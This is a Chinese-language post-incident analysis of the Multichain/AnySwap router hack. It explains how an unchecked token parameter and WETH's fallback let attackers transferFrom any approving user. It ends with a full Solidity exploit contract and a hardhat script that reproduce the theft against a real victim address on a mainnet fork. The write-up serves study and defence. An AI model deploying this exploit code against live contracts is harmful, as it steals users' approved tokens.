Multichain用户资金被盗漏洞分析
Multichain用户资金被盗漏洞分析
跨链协议Multichain原名AnySwap,也算是老牌跨链桥了,能出现这种低级问题挺意外的,漏洞成因也很简单,主要是对函数传参过于信任未进行校验导致,与Visor.finance漏洞类似,之前出过挺多次这类问题了。
 

0x1 攻击剖析

PeckShield给出来了线索,攻击者的地址:
notion image
根据地址,找到了第一笔攻击交易:
notion image
可以看到攻击者call了0x7e01这个合约,然后就有一堆地址向0xb4f8地址转WETH,跟了一下,这个地址也是攻击者的合约。
直接把这笔交易丢到blocksec的交易分析工具看看,Customize account map
{
    "0x6b7a87899490ece95443e979ca9485cbe7e71522": "AnyswapV4Router",
    "0x0000000000000000000000000000000000000000": "0x0000...0000",
    "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2": "WETH",
    "0x4986e9017ea60e7afcd10d844f85c80912c3863c": "Attacker",
    "0x7e015972db493d9ba9a30075e397dc57b1a677da": "Exp1",
    "0xb4f89d6a8c113b4232485568e542e646d93cfab1": "Exp2"
}
notion image
整个交易的trace挺长的,但是都是在不断调AnyswapV4Router.anySwapOutUnderlyingWithPermit函数,只是传参不同。
  1. 可以看到,攻击者在anySwapOutUnderlyingWithPermit函数里的token参数中传入了攻击者自己部署的恶意合约的地址,在to参数中传入了攻击者自己的地址。
  1. 然后调用了Exp2合约(0xb4f8)的underlying函数,返回的是WETH的地址
  1. 接着,调用WETHpermit(函数不存在)并transferFrom从一个未知地址向Exp2合约转WETH
  1. 最后调用了Exp2合约的depositVaultburn函数,但是这两个函数并不存在
很明显,又是一个参数可控导致的问题,关键点在于token参数可控,并对token地址进行了函数调用,函数返回指定的地址,然后AnyswapV4Router就会调用这个地址的permit、transferFrom函数。
 

0x2 漏洞分析

根据上面的剖析,问题出在AnyswapV4Router上,定位到anySwapOutUnderlyingWithPermit函数
notion image
很简单几行代码,token参数是anyswap对erc20的包装,但传进来之后没有进行任何校验与白名单判断,所以攻击者可以自己部署一个合约填上去,可以使underlying函数返回指定的地址,例如WETHWBNB,然后会调用_underlying地址的permit函数
notion image
💡
permit由EIP-2612提出,是对erc20的补充,主要是解决用户在无gas费用的情况下,可以通过发布签名委托其他人帮助其进行授权,以下是标准实现
notion image
接着调用_underlying地址的transferFrom函数,从from地址转到token参数地址,然后调用token参数的depositVaultburn函数
 
这里有个问题是,假设underlying函数返回WETH的地址,WETH合约的permit函数会被调用,但是WETH并没有实现EIP-2612,也就是permit函数
notion image
💡
这里涉及到evm的机制,当calldata无法被合约处理时,就会调用合约的fallback函数,如果有,会不会revert则取决于fallback里的代码
WETH虽然没有permit函数,但是有fallback函数,fallback里调用的是deposit,虽然msg.value为0,但是不影响,不会产生revert。
notion image
所以WETH没有permit函数不会产生影响,transferFromfrom可控,to可控,那么攻击者便可以将任何向AnyswapV4Router授权过的用户的资产转走。
 

0x3 Re-hack

我这里用hardhat进行攻击复现,首先找到要fork的区块,攻击发生在14028474,那么就fork到它上一个区块14028473
然后编写利用合约(Exploit.sol):
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function decimals() external view returns (uint8);
}
interface AnyswapV4Router {
    function anySwapOutUnderlyingWithPermit ( address from, address token, address to, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s, uint256 toChainID ) external;
}

contract Exploit {
    address private owner;
    IERC20 private token;

    constructor() {
        owner = msg.sender;
    }

    function underlying() public view returns (address) {
        return address(token);
    }
    function burn(address from, uint256 amount) external returns (bool){
        return true;
    }
    function depositVault(uint amount, address to) external returns (uint){
        return 1;
    }

    function setUnderlying(IERC20 _token) public {
        require(msg.sender==owner);
        token = _token;
    }

    function withdraw() public {
        token.transfer(owner,token.balanceOf(address(this)));
    }

    function attack(AnyswapV4Router anyswapV4Router,address from) public {
        anyswapV4Router.anySwapOutUnderlyingWithPermit(from,address(this),msg.sender,token.balanceOf(from), 100000000000000000000,0,bytes32(0),bytes32(0),56);
        withdraw();
    }

}
利用脚本:
async function main() {
    const attacker = await hre.ethers.getSigner();

    const exploitContract = await hre.ethers.getContractFactory("Exploit");
    const exploit = await exploitContract.deploy();
    const WETH = await hre.ethers.getContractAt("IERC20","0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2");
    await exploit.setUnderlying(WETH.address); //WETH

    console.log("Exploit contract deployed to:", exploit.address);

    await exploit.attack("0x6b7a87899490ece95443e979ca9485cbe7e71522","0x7f4bae93c21b03836d20933ff55d9f77e5b8d34d");

    const wethBalance = formatUnits(await WETH.balanceOf(attacker.address),await WETH.decimals());
    console.log("WETH balance of attacker : %s",wethBalance)

}
我这里随便找了个受害者地址(0x7f4b)进行测试的,运行结果
notion image
成功复现将该用户的0.2 WETH窃取